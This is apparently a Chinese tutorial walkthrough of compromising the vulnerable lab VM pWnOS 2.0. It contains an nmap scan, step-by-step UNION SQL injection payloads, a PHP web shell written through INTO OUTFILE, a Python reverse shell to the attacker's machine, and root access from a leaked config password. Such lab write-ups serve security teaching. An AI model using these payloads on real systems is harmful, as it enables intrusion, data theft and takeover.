第八节内容讲述了文件上传漏洞的利用原理,并在DVWA上进行简单的入侵实验。本节以实战的方式,结合vulnhub靶机pWnOS: 2.0 ,让大家进一步SQL注入的实际应用场景。
pWnOS: 2.0这个靶机比较特殊,有多种方法可以进行入侵。低权限shell可以通过 SPHPBlog的一个文件上传漏洞或mysql手工注入。提权可以通过在敏感文件中直接获得root密码或者通过mysql UDF漏洞。本节为突出mysql手工注入,以sql注入+root密码来演示主机。
如果靶机部署有疑问,请留言!
目录
1.信息收集
此靶机比较特殊,vmware靶机。IP固定10.10.10.100,需要配置虚拟机NAT的IP,如下图所示,
配置完虚拟机后,开启kali,本机地址10.10.10.1
使用第二章nmap命令扫描靶机,
root@kali:~# nmap -p `nmap -p- --min-rate=10000 -T4 10.10.10.100| grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sC -sV --min-rate=10000 10.10.10.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 04:22 EDT
Nmap scan report for 10.10.10.100
Host is up (0.00054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
| 2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_ 256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: 00:0C:29:01:09:C2 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.08 seconds
打开浏览器发现有一个longin的界面
尝试sql注入,发现Email存在注入,
burp抓包,然后用repeater进行尝试,
2.获取低权限shell
order by获取当前数据表列数,
email=' order by 9-- -
9出错,8正常,说明有8列。
union select查看哪一列数据显示在界面上。第四列能够显示。
email=' union select 1,2,3,4,5,6,7,8-- -
查看数据库版本
email=' union select 1,2,3,@@version,5,6,7,8-- -
查看当前用户,用户为root@localhost
email=' union select 1,2,3,user(),5,6,7,8-- -
查看数据库名,数据库为ch16.
email=' union select 1,2,3,database(),5,6,7,8-- -
查看数据库中的表,一个表叫users。
email=' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()-- -
查看表users的列名
email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- -
根据列查询表users的值。
email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- -
获得一组邮件和密码admin@isints.com:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
将密码在crackstion上进行破译,发现失败。说明这个密码不可用。
尝试load_file功能,发现可以使用。
email=' union select null,null,null,load_file('/etc/passwd'),null,null,null,null-- -
尝试将一句话写入/var/www目录,
email=' union select null,null,null,"<?php system($_GET['cmd']);?>",null,null,null,null into outfile '/var/www/shell.php'-- -
验证写入的木马,发现已经写入。
email=' union select null,null,null,load_file('/var/www/shell.php'),null,null,null,null-- -
尝试执行木马,执行成功。
尝试nc获取反向shell,失败。
尝试python获取反向shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功!
3.提权
当前目录下,发现一个连接mysql的php文件,这个文件里面肯定有mysql的用户名密码。
查看后发现一组用户名密码,
既然用户名是root,那这个密码可能就是root密码。尝试后失败。
切换到var目录又发现一个mysql_connect.php文件,打开后还有一个root密码。
登陆root成功!
4.总结
在发现这个靶机上存在sql注入后直接进行手动注入,获取了一组用户名密码。但密码被加密过无法解密。然后让尝试"into outfile"写入一句话到web目录下。提权直接在var目录下有个mysql连接的php文件,里面有root密码